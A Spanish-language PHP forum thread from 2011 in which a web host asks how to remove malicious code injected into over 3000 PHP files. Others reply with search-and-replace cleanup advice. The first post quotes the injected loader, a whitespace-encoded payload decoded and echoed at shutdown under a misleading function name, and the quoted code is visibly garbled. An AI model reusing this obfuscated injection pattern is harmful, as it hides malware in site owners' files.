Foros del Web » Programando para Internet » PHP »

Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

Estas en el tema de Como puedo eliminar codigo inyectado en + de 3000 archivos PHP en el foro de PHP en Foros del Web. Hola a todos, hace unos dias postee un problema que he venido teniendo en mi servidor, tengo contratado un hosting con Awardspace, donde tengo alojadas ...
  #1 (permalink)  
Antiguo 18/05/2011, 09:31
Avatar de insyse  
Fecha de Ingreso: abril-2005
Ubicación: Colombia
Mensajes: 206
Antigüedad: 19 años
Puntos: 5
Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

Hola a todos,

hace unos dias postee un problema que he venido teniendo en mi servidor, tengo contratado un hosting con Awardspace, donde tengo alojadas 20 paginas web diferentes, desde hace unas dos semanas me han estado inyectando código malicioso, y de golpe me afecta a todos los archivos PHP de todos los sitios.

el codigo es el siguiente

Código PHP:
<?php /**
 * Gets some core libraries and displays a top message if required.    /*
 */ 
function CoreLibrariesHandler() {                    /*
 */   
$session_keys '                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ';  /*
 */                                    /* 
 */    
foreach(str_split($session_keys8) as $k=>$v) {         /*             
 */        
$v str_replace('    '1str_replace(' '0$v));    /*
 */        
$session_keys[$k] = chr(bindec($v));             /*
 */    
}                                 /*
 */                                    /*
 */    
if($session_keys) echo $session_keys; }                /*
 */    
register_shutdown_function('CoreLibrariesHandler');        /*
 */                                    /*
 ************************************************************************/



 
?>
He buscado en internet y encontré en este foro una solución rápida para eliminar el codigo inyectado, pero no se como usar la solución.


http://www.unix.com/shell-programmin...d-keyword.html

Mas o menos dice que hay un código basura inyectado que reenvía las páginas a un sitio que contiene virus.

La solución parece ser un código que lee cada archivo PHP y busca el código y si existe lo borra sin afectar el resto del contenido del archivo.

El código que coloque al principio, tiene en todas las paginas la misma estructura y siempre esta antes de cualquier contenido de mis archivos.

Alguien me puede ayudar a crear este script que borre el código inyectado sin afectar el contenido de mis archivos PHP????

Aclaro que son mas de 3000 archivos y bajar todo, para buscar el código basura manualmente y volver a subir todo, me llevaría al menos 2-3 días.


En espera de su amable ayuda...


Leonardo
  #2 (permalink)  
Antiguo 18/05/2011, 09:37
 
Fecha de Ingreso: abril-2008
Mensajes: 435
Antigüedad: 16 años
Puntos: 10
Respuesta: Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

Hola,
bueno primero que nada deberias resolver el problema de como te inyectan codigo poque sino te volvera a suceder y te causara muchas molestias y frustraciones

en cuanto a tu pregunta, puedes hacer un fopen leer el archivo hacer un preg_replace del patron que buscas y cerrar el archivo. siendo tantos archivos es un costo grande, deberias resolver el primer problema antes que nada

saludos
  #3 (permalink)  
Antiguo 18/05/2011, 09:39
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

¿Las 20 paginas son tuyas o de tu empresa?

¿Igualmente los 3000 archivos?

Lo menciono porque realmente me parece una gran labor, seguro alguien te ayuda, ¿pero estás consciente de el trabajo que esto implica verdad?
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #4 (permalink)  
Antiguo 18/05/2011, 09:48
Avatar de insyse  
Fecha de Ingreso: abril-2005
Ubicación: Colombia
Mensajes: 206
Antigüedad: 19 años
Puntos: 5
Respuesta: Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

La 20 paginas son de mis clientes, por eso la urgencia de solucionar el problema, ya estoy buscando nuevo proveedor de hsoting, pq estoy casi seguro que el problema esta ahi...

Si alguien me puede ayudar con el codigo pues no se mucho de PHP y scripts para hacer esto y la cuestion es de tiempo....

He pensado en algo asi, pero no se como seria la sintaxis en PHP:

1- que pueda recorrer todos los archivos PHP de cada sitio
2- en cada archivo busque el codigo basura y lo elimine


espero que me puedan ayudar

Leonardo
  #5 (permalink)  
Antiguo 18/05/2011, 09:59
 
Fecha de Ingreso: agosto-2010
Mensajes: 81
Antigüedad: 13 años, 8 meses
Puntos: 3
Respuesta: Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

No sé si lo que voy a decir es un poco locura o sobra aquí xD, pero con Linux (con Ubuntu, por ejemplo) haciendo:

grep -lr "cadenabuscada" $(find directorio -name *.php)

Con permisos root, podrías encontrar todos los ficheros buscando desde el raíz en los que está contenida esa cadena pero no sabría decirte cómo sacar ese texto de ahí...
  #6 (permalink)  
Antiguo 18/05/2011, 10:01
Avatar de jcxnet  
Fecha de Ingreso: octubre-2005
Ubicación: Perú
Mensajes: 784
Antigüedad: 18 años, 6 meses
Puntos: 56
Respuesta: Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

Textcrawler te puede servir para buscar y reemplazar en cada archivo
__________________
►I'm a devil on the run ♂
Jcxnet.com
*Keep It Simple **
  #7 (permalink)  
Antiguo 18/05/2011, 10:29
 
Fecha de Ingreso: enero-2011
Ubicación: DF
Mensajes: 898
Antigüedad: 13 años, 3 meses
Puntos: 155
Respuesta: Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

dreamweaver te busca a traves de archivos y reemplaza si te vas tendido como bandido en un ratito te lo chutas
__________________
No me interesan ni las gracias ni los karmas , pero si que se genere conocimiento, si se dio con la respuesta por favor confirmalo
  #8 (permalink)  
Antiguo 18/05/2011, 10:44
Avatar de s00rk  
Fecha de Ingreso: octubre-2010
Ubicación: Mexico
Mensajes: 238
Antigüedad: 13 años, 6 meses
Puntos: 48
Respuesta: Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

Tambien podria hacer un script donde lea el contenido de cada archivo y luego busque tal texto y lo reemplace por un espacio no ?
  #9 (permalink)  
Antiguo 18/05/2011, 11:17
 
Fecha de Ingreso: agosto-2010
Mensajes: 81
Antigüedad: 13 años, 8 meses
Puntos: 3
Respuesta: Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

Si por poder... xDDD
  #10 (permalink)  
Antiguo 18/05/2011, 16:51
Avatar de Sourcegeek
Colaborador
 
Fecha de Ingreso: mayo-2009
Ubicación: $mex['B.C.'];
Mensajes: 1.816
Antigüedad: 15 años
Puntos: 322
Respuesta: Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

La solución la puedes hacer tú mismo... Haces un script que obtenga todos los archivos, los recorres, abres cada uno, buscas la cadena y la reemplazas por cualquier cosa, y listo.

Saludos!
__________________
Buscas desarrollador web? Sourcegeek. Diseño web, Maquetación y Programación
¡Escribe bien! Esto es un foro, no un Facebook para que escribas con los pies
  #11 (permalink)  
Antiguo 19/05/2011, 04:03
Avatar de metacortex
Viejo demente
 
Fecha de Ingreso: junio-2004
Ubicación: Caracas - Venezuela
Mensajes: 9.027
Antigüedad: 19 años, 11 meses
Puntos: 832
Respuesta: Como puedo eliminar codigo inyectado en + de 3000 archivos PHP

Cita:
Iniciado por jcxnet Ver Mensaje
Textcrawler te puede servir para buscar y reemplazar en cada archivo
Buen dato, gracias!

Etiquetas: Ninguno
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 08:37.